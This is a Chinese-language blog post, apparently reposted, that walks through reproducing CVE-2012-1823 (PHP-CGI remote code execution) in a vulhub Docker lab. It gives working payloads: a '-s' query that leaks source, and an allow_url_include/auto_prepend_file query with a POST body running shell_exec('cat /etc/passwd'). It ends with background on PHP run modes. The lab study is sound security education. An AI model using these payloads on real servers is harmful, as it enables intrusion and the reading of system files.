ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

PHP-CGI远程代码执行漏洞CVE-2012-1823漏洞复现

2021-05-27 22:36:25  阅读:373  来源: 互联网

标签:CGI cgi PHP 模式 漏洞 代码执行 php


漏洞介绍

这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)

被作为了php-cgi的参数,最终导致了一系列结果。

影响范围:

漏洞影响版本 php < 5.3.12 or php < 5.4.2

PS:CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中

 

复现环境

docker容器环境:kali2020   

ip:192.168.117.128:8082(默认为8080,我这里改为8082)

 

环境开启过程:

进入/vulhub/php/CVE-2012-1823目录下

打开终端:

sudo docker-compose up -d

开启后查看容器信息:

sudo docker ps   

 

 进入靶机:在浏览器访问  http://your-ip:8082()

 

 

漏洞复现过程

 

Cgi模式下命令行参数有如下一些参数可用
-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-? 显示帮助

 

 

源码泄露playload:

/index.php?-s

 

 

 远程执行playload:

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a

//input url解码:(-d allow_url_include=on -d auto_prepend_file=php://input)
//allow_url_include=on  将allow_url_include打开,使得可以文件包含,可以用伪协议
//auto_prepend_file   每次在加载访问的php文件之前,都访问php://input(也就是POST中的参数内容
POST:  <?php echo shell_exec('cat /etc/passwd');?>

 

 

补充知识

1)cgi 通用网关接口(Common Gateway Interface))

CGI即通用网关接口(Common Gateway Interface),它是一段程序, 通俗的讲CGI就象是一座桥,把网页和WEB服务器中的执行程序连接起来,它把HTML接收的指令传递给服务器的执行程序,再把服务器执行程序的结果返还给HTML页。

2) fast-cgi 常驻 (long-live) 型的 CGI 【php-fpm:PHP的FastCGI进程管理器】

fast-cgi 是cgi的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次 (这是 CGI 最为人诟病的 fork-and-execute 模式)。

3) cli 命令行运行 (Command Line Interface)

cli是php的命令行运行模式,大家经常会使用它,但是可能并没有注意到(例如:我们在linux下经常使用 "php -m"查找PHP安装了那些扩展就是PHP命令行运行模式;有兴趣的同学可以输入php -h去深入研究该运行模式)

4)web模块模式 (apache等web服务器运行的模块模式)

模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。

 

标签:CGI,cgi,PHP,模式,漏洞,代码执行,php
来源: https://www.cnblogs.com/lthlsy/p/14820076.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有